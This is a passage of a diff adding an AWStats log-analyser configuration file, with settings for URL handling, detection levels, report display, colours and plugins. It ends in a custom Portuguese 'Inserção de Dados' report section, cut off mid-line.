304" +# +ValidHTTPCodes="200 304" + + +# By default, AWStats considers that records found in mail log file are +# successful mail transfers if field that represent return code in analyzed +# log file match values defined by this parameter. +# Change : Effective for new updates only +# Example: "1 250 200" +# Default: "1 250" +# +ValidSMTPCodes="1 250" + + +# Some web servers on some Operating systems (IIS-Windows) consider that a +# login with same value but different case are the same login. To tell AWStats +# to also consider them as one, set this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +AuthenticatedUsersNotCaseSensitive=0 + + +# Some web servers on some Operating systems (IIS-Windows) considers that two +# URLs with same value but different case are the same URL. To tell AWStats to +# also considers them as one, set this parameter to 1. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +URLNotCaseSensitive=0 + + +# Keep or remove the anchor string you can find in some URLs. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +URLWithAnchor=0 + + +# In URL links, "?" char is used to add parameter's list in URLs. Syntax is: +# /mypage.html?param1=value1¶m2=value2 +# However, some servers/sites use also other chars to isolate dynamic part of +# their URLs. You can complete this list with all such characters. +# Change : Effective for new updates only +# Example: "?;," +# Default: "?;" +# +URLQuerySeparators="?;" + + +# Keep or remove the query string to the URL in the statistics for individual +# pages. This is primarily used to differentiate between the URLs of dynamic +# pages. If set to 1, mypage.html?id=x and mypage.html?id=y are counted as two +# different pages. +# Warning, when set to 1, memory required to run AWStats is dramatically +# increased if you have a lot of changing URLs (for example URLs with a random +# id inside). Such web sites should not set this option to 1 or use seriously +# the next parameter URLWithQueryWithOnlyFollowingParameters (or eventually +# URLWithQueryWithoutFollowingParameters). +# Change : Effective for new updates only +# Possible values: +# 0 - URLs are cleaned from the query string (ie: "/mypage.html") +# 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +# Default: 0 +# +URLWithQuery=0 + + +# When URLWithQuery is on, you will get the full URL with all parameters in +# URL reports. But among thoose parameters, sometimes you don't need a +# particular parameter because it does not identify the page or because it's +# a random ID changing for each access even if URL points to same page. In +# such cases, it is higly recommanded to ask AWStats to keep only parameters +# you need (if you know them) before counting, manipulating and storing URL. +# Enter here list of wanted parameters. For example, with "param", one hit on +# /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +# will be reported as 2 hits on /mypage.cgi?param=abc +# This parameter is not used when URLWithQuery is 0 and can't be used with +# URLWithQueryWithoutFollowingParameters. +# Change : Effective for new updates only +# Example: "param" +# Default: "" +# +URLWithQueryWithOnlyFollowingParameters="" + + +# When URLWithQuery is on, you will get the full URL with all parameters in +# URL reports. But among thoose parameters, sometimes you don't need a +# particular parameter because it does not identify the page or because it's +# a random ID changing for each access even if URL points to same page. In +# such cases, it is higly recommanded to ask AWStats to remove such parameters +# from the URL before counting, manipulating and storing URL. Enter here list +# of all non wanted parameters. For example if you enter "id", one hit on +# /mypage.cgi?param=abc&id=Yo4UomP9d and /mypage.cgi?param=abc&id=Mu8fdxl3r +# will be reported as 2 hits on /mypage.cgi?param=abc +# This parameter is not used when URLWithQuery is 0 and can't be used with +# URLWithQueryWithOnlyFollowingParameters. +# Change : Effective for new updates only +# Example: "PHPSESSID jsessionid" +# Default: "" +# +URLWithQueryWithoutFollowingParameters="" + + +# Keep or remove the query string to the referrer URL in the statistics for +# external referrer pages. This is used to differentiate between the URLs of +# dynamic referrer pages. If set to 1, mypage.html?id=x and mypage.html?id=y +# are counted as two different referrer pages. +# Change : Effective for new updates only +# Possible values: +# 0 - Referrer URLs are cleaned from the query string (ie: "/mypage.html") +# 1 - Full URL with query string is used (ie: "/mypage.html?p=x&q=y") +# Default: 0 +# +URLReferrerWithQuery=0 + + +# AWStats can detect setup problems or show you important informations to have +# a better use. Keep this to 1, except if AWStats says you can change it. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 1 +# +WarningMessages=1 + + +# When an error occurs, AWStats outputs a message related to errors. If you +# want (in most cases for security reasons) to have no error messages, you +# can set this parameter to your personalized generic message. +# Change : Effective immediatly +# Example: "An error occurred. Contact your Administrator" +# Default: "" +# +ErrorMessages="" + + +# AWStat can be run with debug=x parameter to output various informations +# to help in debugging or solving troubles. If you want to allow this (not +# enabled by default for security reasons), set this parameter to 0. +# Change : Effective immediatly +# Possible values: 0 or 1 +# Default: 0 +# +DebugMessages=1 + + +# To help you to detect if your log format is good, AWStats reports an error +# if all the first NbOfLinesForCorruptedLog lines have a format that does not +# match the LogFormat parameter. +# However, some worm virus attack on your web server can result in a very high +# number of corrupted lines in your log. So if you experience awstats stop +# because of bad virus records at the beginning of your log file, you can +# increase this parameter (very rare). +# Change : Effective for new updates only +# Default: 50 +# +NbOfLinesForCorruptedLog=50 + + +# For some particular integration needs, you may want to have CGI links to +# point to another script than awstats.pl. +# Use the name of this script in WrapperScript parameter. +# Change : Effective immediatly +# Example: "awstatslauncher.pl" +# Example: "awstatswrapper.cgi?key=123" +# Default: "" +# +WrapperScript="" + + +# DecodeUA must be set to 1 if you use Roxen web server. This server converts +# all spaces in user agent field into %20. This make the AWStats robots, OS +# and browsers detection fail in some cases. Just change it to 1 if and only +# if your web server is Roxen. +# Change : Effective for new updates only +# Possible values: 0 or 1 +# Default: 0 +# +DecodeUA=0 + + +# MiscTrackerUrl can be used to make AWStats able to detect some miscellaneous +# things, that can not be tracked on other way, like: +# - Javascript disabled +# - Java enabled +# - Screen size +# - Color depth +# - Macromedia Director plugin +# - Macromedia Shockwave plugin +# - Realplayer G2 plugin +# - QuickTime plugin +# - Mediaplayer plugin +# - Acrobat PDF plugin +# To enable all these features, you must copy the awstats_misc_tracker.js file +# into a /js/ directory stored in your web document root and add the following +# HTML code at the end of your index page (but before </BODY>) : +# +# <script type="text/javascript" src="/js/awstats_misc_tracker.js"></script> +# <noscript><img src="/js/awstats_misc_tracker.js?nojs=y" height=0 width=0 border=0 style="display: none"></noscript> +# +# If code is not added in index page, all those detection capabilities will be +# disabled. You must also check that ShowScreenSizeStats and ShowMiscStats +# parameters are set to 1 to make results appear in AWStats report page. +# If you want to use another directory than /js/, you must also change the +# awstatsmisctrackerurl variable into the awstats_misc_tracker.js file. +# Change : Effective for new updates only. +# Possible value: URL of javascript tracker file added in your HTML code. +# Default: "/js/awstats_misc_tracker.js" +# +MiscTrackerUrl="/js/awstats_misc_tracker.js" + + +# AddLinkToExternalCGIWrapper can be used to add a link to a wrapper script +# into each title of Dolibarr reports. This can be used to add a wrapper +# to download data into a CSV file for example. +# +# AddLinkToExternalCGIWrapper="/awstats/awdownloadcsv.pl" + + + +#----------------------------------------------------------------------------- +# OPTIONAL ACCURACY SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# The following values allow you to define accuracy of AWStats entities +# (robots, browsers, os, referers, file types) detection. +# It might be a good idea for large web sites or ISP that provides AWStats to +# high number of customers, to set this parameter to 1 (or 0), instead of 2. +# Possible values: +# 0 = No detection, +# 1 = Medium/Standard detection +# 2 = Full detection +# Change : Effective for new updates only +# Note : LevelForBrowsersDetection can also accept value "allphones". This +# enable detailed detection of phone/pda browsers. +# Default: 2 (0 for LevelForWormsDetection) +# +LevelForBrowsersDetection=2 # 0 disables Browsers detection. + # 2 reduces AWStats speed by 2% + # allphones reduces AWStats speed by 5% +LevelForOSDetection=2 # 0 disables OS detection. + # 2 reduces AWStats speed by 3% +LevelForRefererAnalyze=2 # 0 disables Origin detection. + # 2 reduces AWStats speed by 14% +LevelForRobotsDetection=2 # 0 disables Robots detection. + # 2 reduces AWStats speed by 2.5% +LevelForSearchEnginesDetection=2 # 0 disables Search engines detection. + # 2 reduces AWStats speed by 9% +LevelForKeywordsDetection=2 # 0 disables Keyphrases/Keywords detection. + # 2 reduces AWStats speed by 1% +LevelForFileTypesDetection=2 # 0 disables File types detection. + # 2 reduces AWStats speed by 1% +LevelForWormsDetection=0 # 0 disables Worms detection. + # 2 reduces AWStats speed by 15% + + + +#----------------------------------------------------------------------------- +# OPTIONAL APPEARANCE SETUP SECTION (Not required but increase AWStats features) +#----------------------------------------------------------------------------- + +# When you use AWStats as a CGI, you can have the reports shown in HTML frames. +# Frames are only available for report viewed dynamically. When you build +# pages from command line, this option is not used and no frames are built. +# Possible values: 0 or 1 +# Default: 1 +# +UseFramesWhenCGI=1 + + +# This parameter asks your browser to open detailed reports into a different +# window than the main page. +# Possible values: +# 0 - Open all in same browser window +# 1 - Open detailed reports in another window except if using frames +# 2 - Open always in a different window even if reports are framed +# Default: 1 +# +DetailedReportsOnNewWindows=1 + + +# You can add, in the HTML report page, a cache lifetime (in seconds) that +# will be returned to the browser in HTTP header answer by server. +# This parameter is not used when reports are built with -staticlinks option. +# Example: 3600 +# Default: 0 +# +Expires=0 + + +# To avoid too large web pages, you can ask AWStats to limit number of rows of +# all reported charts to this number when no other limits apply. +# Default: 1000 +# +MaxRowsInHTMLOutput=1000 + + +# Set your primary language (ISO-639-1 language codes). +# Possible values: +# Albanian=al, Bosnian=ba, Bulgarian=bg, Catalan=ca, +# Chinese (Taiwan)=tw, Chinese (Simpliefied)=cn, Croatian=hr, Czech=cz, +# Danish=dk, Dutch=nl, English=en, Estonian=et, Euskara=eu, Finnish=fi, +# French=fr, Galician=gl, German=de, Greek=gr, Hebrew=he, Hungarian=hu, +# Icelandic=is, Indonesian=id, Italian=it, Japanese=jp, Korean=ko, +# Latvian=lv, Norwegian (Nynorsk)=nn, Norwegian (Bokmal)=nb, Polish=pl, +# Portuguese=pt, Portuguese (Brazilian)=br, Romanian=ro, Russian=ru, +# Serbian=sr, Slovak=sk, Slovenian=si, Spanish=es, Swedish=se, Turkish=tr, +# Ukrainian=ua, Welsh=cy. +# First available language accepted by browser=auto +# Default: "auto" +# +Lang="br" + + +# Set the location of language files. +# Example: "/usr/share/awstats/lang" +# Default: "./lang" (means lang directory is in same location than awstats.pl) +# +DirLang="./lang" + + +# Show menu header with reports' links +# Possible values: 0 or 1 +# Default: 1 +# +ShowMenu=1 + + +# You choose here which reports you want to see in the main page and what you +# want to see in those reports. +# Possible values: +# 0 - Report is not shown at all +# 1 - Report is shown in main page with an entry in menu and default columns +# XYZ - Report shows column informations defined by code X,Y,Z... +# X,Y,Z... are code letters among the following: +# U = Unique visitors +# V = Visits +# P = Number of pages +# H = Number of hits (or mails) +# B = Bandwith (or total mail size for mail logs) +# L = Last access date +# E = Entry pages +# X = Exit pages +# C = Web compression (mod_gzip,mod_deflate) +# M = Average mail size (mail logs) +# + +# Show monthly summary +# Context: Web, Streaming, Mail, Ftp +# Default: UVPHB, Possible column codes: UVPHB +ShowSummary=0 + +# Show monthly chart +# Context: Web, Streaming, Mail, Ftp +# Default: UVPHB, Possible column codes: UVPHB +ShowMonthStats=0 + +# Show days of month chart +# Context: Web, Streaming, Mail, Ftp +# Default: VPHB, Possible column codes: VPHB +ShowDaysOfMonthStats=0 + +# Show days of week chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: PHB +ShowDaysOfWeekStats=0 + +# Show hourly chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: PHB +ShowHoursStats=0 + +# Show domains/country chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHB, Possible column codes: UVPHB +ShowDomainsStats=0 + +# Show hosts chart +# Context: Web, Streaming, Mail, Ftp +# Default: PHBL, Possible column codes: PHBL +ShowHostsStats=0 + +# Show authenticated users chart +# Context: Web, Streaming, Ftp +# Default: 0, Possible column codes: PHBL +ShowAuthenticatedUsers=0 + +# Show robots chart +# Context: Web, Streaming +# Default: HBL, Possible column codes: HBL +ShowRobotsStats=0 + +# Show worms chart +# Context: Web, Streaming +# Default: 0 (If set to other than 0, see also LevelForWormsDetection), Possible column codes: HBL +ShowWormsStats=0 + +# Show email senders chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: HBML +ShowEMailSenders=0 + +# Show email receivers chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: HBML +ShowEMailReceivers=0 + +# Show session chart +# Context: Web, Streaming, Ftp +# Default: 1, Possible column codes: None +ShowSessionsStats=0 + +# Show pages-url chart. +# Context: Web, Streaming, Ftp +# Default: PBEX, Possible column codes: PBEX +ShowPagesStats=0 + +# Show file types chart. +# Context: Web, Streaming, Ftp +# Default: HB, Possible column codes: HBC +ShowFileTypesStats=0 + +# Show file size chart (Not yet available) +# Context: Web, Streaming, Mail, Ftp +# Default: 1, Possible column codes: None +ShowFileSizesStats=0 + +# Show downloads chart. +# Context: Web, Streaming, Ftp +# Default: HB, Possible column codes: HB +ShowDownloadsStats=0 + +# Show operating systems chart +# Context: Web, Streaming, Ftp +# Default: 1, Possible column codes: None +ShowOSStats=0 + +# Show browsers chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowBrowsersStats=0 + +# Show screen size chart +# Context: Web, Streaming +# Default: 0 (If set to 1, see also MiscTrackerUrl), Possible column codes: None +ShowScreenSizeStats=0 + +# Show origin chart +# Context: Web, Streaming +# Default: PH, Possible column codes: PH +ShowOriginStats=0 + +# Show keyphrases chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowKeyphrasesStats=0 + +# Show keywords chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowKeywordsStats=0 + +# Show misc chart +# Context: Web, Streaming +# Default: a (See also MiscTrackerUrl parameter), Possible column codes: anjdfrqwp +ShowMiscStats=0 + +# Show http errors chart +# Context: Web, Streaming +# Default: 1, Possible column codes: None +ShowHTTPErrorsStats=0 + +# Show smtp errors chart (For use when analyzing mail log files) +# Context: Mail +# Default: 0, Possible column codes: None +ShowSMTPErrorsStats=0 + +# Show the cluster report (Your LogFormat must contains the %cluster tag) +# Context: Web, Streaming, Ftp +# Default: 0, Possible column codes: PHB +ShowClusterStats=0 + + +# Some graphical reports are followed by the data array of values. +# If you don't want this array (to reduce the report size for example), you +# can set thoose options to 0. +# Possible values: 0 or 1 +# Default: 1 +# +# Data array values for the ShowMonthStats report +AddDataArrayMonthStats=1 +# Data array values for the ShowDaysOfMonthStats report +AddDataArrayShowDaysOfMonthStats=1 +# Data array values for the ShowDaysOfWeekStats report +AddDataArrayShowDaysOfWeekStats=1 +# Data array values for the ShowHoursStats report +AddDataArrayShowHoursStats=1 + + +# In the Origin chart, you have stats on where your hits came from. You can +# include hits on pages that come from pages of same sites in this chart. +# Possible values: 0 or 1 +# Default: 0 +# +IncludeInternalLinksInOriginSection=0 + + +# The following parameters can be used to choose the maximum number of lines +# shown for the particular following reports. +# +# Stats by countries/domains +MaxNbOfDomain = 10 +MinHitDomain = 1 +# Stats by hosts +MaxNbOfHostsShown = 10 +MinHitHost = 1 +# Stats by authenticated users +MaxNbOfLoginShown = 10 +MinHitLogin = 1 +# Stats by robots +MaxNbOfRobotShown = 10 +MinHitRobot = 1 +# Stats for Downloads +MaxNbOfDownloadsShown = 10 +MinHitDownloads = 1 +# Stats by pages +MaxNbOfPageShown = 10 +MinHitFile = 1 +# Stats by OS +MaxNbOfOsShown = 10 +MinHitOs = 1 +# Stats by browsers +MaxNbOfBrowsersShown = 10 +MinHitBrowser = 1 +# Stats by screen size +MaxNbOfScreenSizesShown = 5 +MinHitScreenSize = 1 +# Stats by window size (following 2 parameters are not yet used) +MaxNbOfWindowSizesShown = 5 +MinHitWindowSize = 1 +# Stats by referers +MaxNbOfRefererShown = 10 +MinHitRefer = 1 +# Stats for keyphrases +MaxNbOfKeyphrasesShown = 10 +MinHitKeyphrase = 1 +# Stats for keywords +MaxNbOfKeywordsShown = 10 +MinHitKeyword = 1 +# Stats for sender or receiver emails +MaxNbOfEMailsShown = 20 +MinHitEMail = 1 + + +# Choose if you want the week report to start on sunday or monday +# Possible values: +# 0 - Week starts on sunday +# 1 - Week starts on monday +# Default: 1 +# +FirstDayOfWeek=1 + + +# List of visible flags that link to other language translations. +# See Lang parameter for list of allowed flag/language codes. +# If you don't want any flag link, set ShowFlagLinks to "". +# This parameter is used only if ShowMenu parameter is set to 1. +# Possible values: "" or "language_codes_separated_by_space" +# Example: "en es fr nl de" +# Default: "" +# +ShowFlagLinks="" + + +# Each URL, shown in stats report views, are links you can click. +# Possible values: 0 or 1 +# Default: 1 +# +ShowLinksOnUrl=1 + + +# When AWStats builds HTML links in its report pages, it starts those links +# with "http://". However some links might be HTTPS links, so you can enter +# here the root of all your HTTPS links. If all your site is a SSL web site, +# just enter "/". +# This parameter is not used if ShowLinksOnUrl is 0. +# Example: "/shopping" +# Example: "/" +# Default: "" +# +UseHTTPSLinkForUrl="" + + +# Maximum length of URL part shown on stats page (number of characters). +# This affects only URL visible text, links still work. +# Default: 64 +# +MaxLengthOfShownURL=64 + + +# You can enter HTML code that will be added at the top of AWStats reports. +# Default: "" +# +HTMLHeadSection="" + + +# You can enter HTML code that will be added at the end of AWStats reports. +# Great to add advert ban. +# Default: "" +# +HTMLEndSection="" + + +# By default AWStats page contains meta tag robots=noindex,nofollow +# If you want to have your statistics to be indexed, set this option to 1. +# Default: 0 +# +MetaRobot=0 + + +# You can set Logo and LogoLink to use your own logo. +# Logo must be the name of image file (must be in $DirIcons/other directory). +# LogoLink is the expected URL when clicking on Logo. +# Default: "awstats_logo6.png" +# +Logo="awstats_logo6.png" +LogoLink="http://www.awstats.org" + + +# Value of maximum bar width/height for horizontal/vertical HTML graphics bars. +# Default: 260/90 +# +BarWidth = 260 +BarHeight = 90 + + +# You can ask AWStats to use a particular CSS (Cascading Style Sheet) to +# change its look. To create a style sheet, you can use samples provided with +# AWStats in wwwroot/css directory. +# Example: "/awstatscss/awstats_bw.css" +# Example: "/css/awstats_bw.css" +# Default: "" +# +StyleSheet="" + + +# Those color parameters can be used (if StyleSheet parameter is not used) +# to change AWStats look. +# Example: color_name="RRGGBB" # RRGGBB is Red Green Blue components in Hex +# +color_Background="FFFFFF" # Background color for main page (Default = "FFFFFF") +color_TableBGTitle="CCCCDD" # Background color for table title (Default = "CCCCDD") +color_TableTitle="000000" # Table title font color (Default = "000000") +color_TableBG="CCCCDD" # Background color for table (Default = "CCCCDD") +color_TableRowTitle="FFFFFF" # Table row title font color (Default = "FFFFFF") +color_TableBGRowTitle="ECECEC" # Background color for row title (Default = "ECECEC") +color_TableBorder="ECECEC" # Table border color (Default = "ECECEC") +color_text="000000" # Color of text (Default = "000000") +color_textpercent="606060" # Color of text for percent values (Default = "606060") +color_titletext="000000" # Color of text title within colored Title Rows (Default = "000000") +color_weekend="EAEAEA" # Color for week-end days (Default = "EAEAEA") +color_link="0011BB" # Color of HTML links (Default = "0011BB") +color_hover="605040" # Color of HTML on-mouseover links (Default = "605040") +color_u="FFAA66" # Background color for number of unique visitors (Default = "FFAA66") +color_v="F4F090" # Background color for number of visites (Default = "F4F090") +color_p="4477DD" # Background color for number of pages (Default = "4477DD") +color_h="66DDEE" # Background color for number of hits (Default = "66DDEE") +color_k="2EA495" # Background color for number of bytes (Default = "2EA495") +color_s="8888DD" # Background color for number of search (Default = "8888DD") +color_e="CEC2E8" # Background color for number of entry pages (Default = "CEC2E8") +color_x="C1B2E2" # Background color for number of exit pages (Default = "C1B2E2") + + + +#----------------------------------------------------------------------------- +# PLUGINS +#----------------------------------------------------------------------------- + +# Add here all plugin files you want to load. +# Plugin files must be .pm files stored in 'plugins' directory. +# Uncomment LoadPlugin lines to enable a plugin after checking that perl +# modules required by the plugin are installed. + +# PLUGIN: Tooltips +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add tooltips pop-up help boxes to HTML report pages. +# NOTE: This will increased HTML report pages size, thus server load and bandwidth. +# +#LoadPlugin="tooltips" + +# PLUGIN: DecodeUTFKeys +# REQUIRED MODULES: Encode and URI::Escape +# PARAMETERS: None +# DESCRIPTION: Allow AWStats to show correctly (in language charset) +# keywords/keyphrases strings even if they were UTF8 coded by the +# referer search engine. +# +#LoadPlugin="decodeutfkeys" + +# PLUGIN: IPv6 +# PARAMETERS: None +# REQUIRED MODULES: Net::IP and Net::DNS +# DESCRIPTION: This plugin gives AWStats capability to make reverse DNS +# lookup on IPv6 addresses. +# +#LoadPlugin="ipv6" + +# PLUGIN: HashFiles +# REQUIRED MODULES: Storable +# PARAMETERS: None +# DESCRIPTION: AWStats DNS cache files are read/saved as native hash files. +# This increases DNS cache files loading speed, above all for very large web sites. +# +#LoadPlugin="hashfiles" + + +# PLUGIN: UserInfo +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (Firtname, Lastname, Office Department, ...) in +# authenticated user reports for each login value. +# A text file called userinfo.myconfig.txt, with two fields (first is login, +# second is text to show, separated by a tab char) must be created in DirData +# directory. +# +#LoadPlugin="userinfo" + +# PLUGIN: HostInfo +# REQUIRED MODULES: Net::XWhois +# PARAMETERS: None +# DESCRIPTION: Add a column into host chart with a link to open a popup window that shows +# info on host (like whois records). +# +#LoadPlugin="hostinfo" + +# PLUGIN: ClusterInfo +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (for example a full hostname) in cluster reports for each cluster +# number. A text file called clusterinfo.myconfig.txt, with two fields (first is +# cluster number, second is text to show) separated by a tab char. must be +# created into DirData directory. +# Note this plugin is useless if ShowClusterStats is set to 0 or if you don't +# use a personalized log format that contains %cluster tag. +# +#LoadPlugin="clusterinfo" + +# PLUGIN: UrlAliases +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Add a text (Page title, description...) in URL reports before URL value. +# A text file called urlalias.myconfig.txt, with two fields (first is URL, +# second is text to show, separated by a tab char) must be created into +# DirData directory. +# +#LoadPlugin="urlalias" + +# PLUGIN: TimeHiRes +# REQUIRED MODULES: Time::HiRes (if Perl < 5.8) +# PARAMETERS: None +# DESCRIPTION: Time reported by -showsteps option is in millisecond. For debug purpose. +# +#LoadPlugin="timehires" + +# PLUGIN: TimeZone +# REQUIRED MODULES: Time::Local +# PARAMETERS: [timezone offset] +# DESCRIPTION: Allow AWStats to adjust time stamps for a different timezone +# This plugin reduces AWStats speed of 10% !!!!!!! +# LoadPlugin="timezone" +# LoadPlugin="timezone +2" +# LoadPlugin="timezone CET" +# +#LoadPlugin="timezone +2" + +# PLUGIN: Rawlog +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: This plugin adds a form in AWStats main page to allow users to see raw +# content of current log files. A filter is also available. +# +#LoadPlugin="rawlog" + +# PLUGIN: GraphApplet +# REQUIRED MODULES: None +# PARAMETERS: [CSS classes to override] +# DESCRIPTION: Supported charts are built by a 3D graphic applet. +# +#LoadPlugin="graphapplet /awstatsclasses" # EXPERIMENTAL FEATURE + +# PLUGIN: GraphGoogleChartAPI +# REQUIRED MODULES: None +# PARAMETERS: None +# DESCRIPTION: Replaces the standard charts with free Google API generated images +# in HTML reports. If country data is available and more than one country has hits, +# a map will be generated using Google Visualizations. +# Note: The machine where reports are displayed must have Internet access for the +# charts to be generated. The only data sent to Google includes the statistic numbers, +# legend names and country names. +# Warning: This plugin is not compatible with option BuildReportFormat=xhtml. +# +#LoadPlugin="graphgooglechartapi" + +# PLUGIN: GeoIPfree +# REQUIRED MODULES: Geo::IPfree version 0.2+ (from Graciliano M.P.) +# PARAMETERS: None +# DESCRIPTION: Country chart is built from an Internet IP-Country database. +# This plugin is useless for intranet only log files. +# Note: You must choose between using this plugin (need Perl Geo::IPfree +# module, database is free but not up to date) or the GeoIP plugin (need +# Perl Geo::IP module from Maxmind, database is also free and up to date). +# Note: Activestate provide a corrupted version of Geo::IPfree 0.2 Perl +# module, so install it from elsewhere (from www.cpan.org for example). +# This plugin reduces AWStats speed by up to 10% ! +# +#LoadPlugin="geoipfree" + +# MAXMIND GEO IP MODULES: Please see documentation for notes on all Maxmind modules + +# PLUGIN: GeoIP +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/geoip.dat[+/pathto/override.txt]] +# DESCRIPTION: Builds a country chart and adds an entry to the hosts +# table with country name +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip GEOIP_STANDARD /pathto/GeoIP.dat" + +# PLUGIN: GeoIP_City_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPCity.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin adds a column under the hosts field and tracks the pageviews +# and hits by city including regions. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_city_maxmind GEOIP_STANDARD /pathto/GeoIPCity.dat" + +# PLUGIN: GeoIP_ASN_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPASN.dat[+/pathto/override.txt][+http://linktoASlookup]] +# DESCRIPTION: This plugin adds a chart of AS numbers where the host IP address is registered. +# This plugin can display some ISP information if included in the database. You can also provide +# a link that will be used to lookup additional registration data. Put the link at the end of +# the parameter string and the report page will include the link with the full AS number at the end. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_asn_maxmind GEOIP_STANDARD /usr/local/geoip.dat+http://enc.com.au/itools/aut-num.php?autnum=" + +# PLUGIN: GeoIP_Region_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPRegion.dat[+/pathto/override.txt]] +# DESCRIPTION:This plugin adds a chart of hits by regions. Only regions for US and +# Canada can be detected. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_region_maxmind GEOIP_STANDARD /pathto/GeoIPRegion.dat" + +# PLUGIN: GeoIP_ISP_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPISP.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin adds a chart of hits by ISP. +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_isp_maxmind GEOIP_STANDARD /pathto/GeoIPISP.dat" + +# PLUGIN: GeoIP_Org_Maxmind +# REQUIRED MODULES: Geo::IP or Geo::IP::PurePerl (from Maxmind) +# PARAMETERS: [GEOIP_STANDARD | GEOIP_MEMORY_CACHE] [/pathto/GeoIPOrg.dat[+/pathto/override.txt]] +# DESCRIPTION: This plugin add a chart of hits by Organization name +# Replace spaces in the path of geoip data file with string "%20". +# +#LoadPlugin="geoip_org_maxmind GEOIP_STANDARD /pathto/GeoIPOrg.dat" + + +#----------------------------------------------------------------------------- +# EXTRA SECTIONS +#----------------------------------------------------------------------------- + +# You can define your own charts, you choose here what are rows and columns +# keys. This feature is particularly useful for marketing purpose, tracking +# products orders for example. +# For this, edit all parameters of Extra section. Each set of parameter is a +# different chart. For several charts, duplicate section changing the number. +# Note: Each Extra section reduces AWStats speed by 8%. +# +# WARNING: A wrong setup of Extra section might result in too large arrays +# that will consume all your memory, making AWStats unusable after several +# updates, so be sure to setup it correctly. +# In most cases, you don't need this feature. +# +# ExtraSectionNameX is title of your personalized chart. +# ExtraSectionCodeFilterX is list of codes the record code field must match. +# Put an empty string for no test on code. +# ExtraSectionConditionX are conditions you can use to count or not the hit, +# Use one of the field condition +# (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +# and a regex to match, after a coma. Use "||" for "OR". +# ExtraSectionFirstColumnTitleX is the first column title of the chart. +# ExtraSectionFirstColumnValuesX is a string to tell AWStats which field to +# extract value from +# (URL,URLWITHQUERY,QUERY_STRING,REFERER,UA,HOSTINLOG,HOST,VHOST,extraX) +# and how to extract the value (using regex syntax). Each different value +# found will appear in first column of report on a different row. Be sure +# that list of different possible values will not grow indefinitely. +# ExtraSectionFirstColumnFormatX is the string used to write value. +# ExtraSectionStatTypesX are things you want to count. You can use standard +# code letters (P for pages,H for hits,B for bandwidth,L for last access). +# ExtraSectionAddAverageRowX add a row at bottom of chart with average values. +# ExtraSectionAddSumRowX add a row at bottom of chart with sum values. +# MaxNbOfExtraX is maximum number of rows shown in chart. +# MinHitExtraX is minimum number of hits required to be shown in chart. +# +# Example to report the 20 products the most ordered by "order.cgi" script +#ExtraSectionName1="Product orders" +#ExtraSectionCodeFilter1="200 304" +#ExtraSectionCondition1="URL,\/cgi\-bin\/order\.cgi||URL,\/cgi\-bin\/order2\.cgi" +#ExtraSectionFirstColumnTitle1="Product ID" +#ExtraSectionFirstColumnValues1="QUERY_STRING,productid=([^&]+)" +#ExtraSectionFirstColumnFormat1="%s" +#ExtraSectionStatTypes1=PL +#ExtraSectionAddAverageRow1=0 +#ExtraSectionAddSumRow1=1 +#MaxNbOfExtra1=20 +#MinHitExtra1=1 + +#2014-06-26 15:49:20 + +ExtraSectionName1="Inserção de Dados" +ExtraSectionCodeFilter1="" +ExtraSectionCondition1="" +ExtraSection1ColumnTitle1="Usuário" +ExtraSection1ColumnValues1="extra1,user=\[([^\]]+)" +ExtraSection1ColumnFormat1="%s" +ExtraSection1ColumnTitle2="Operação" +ExtraSection1ColumnValues2="extra1,method=\[([^\]]+)" +ExtraSection1ColumnFormat2="%s" +ExtraSection1ColumnTitle3="Tabela" +ExtraSection1ColumnValues3="extra1,url=\[([^\]]+)" +ExtraSection1ColumnFormat3="%s" +ExtraSection1ColumnTitle4="Identificador*" +ExtraSection1ColumnValues4="extra1,id=([0-9]+)" +ExtraSection1ColumnFormat4="%s" +ExtraSection1ColumnTitle5="Query" 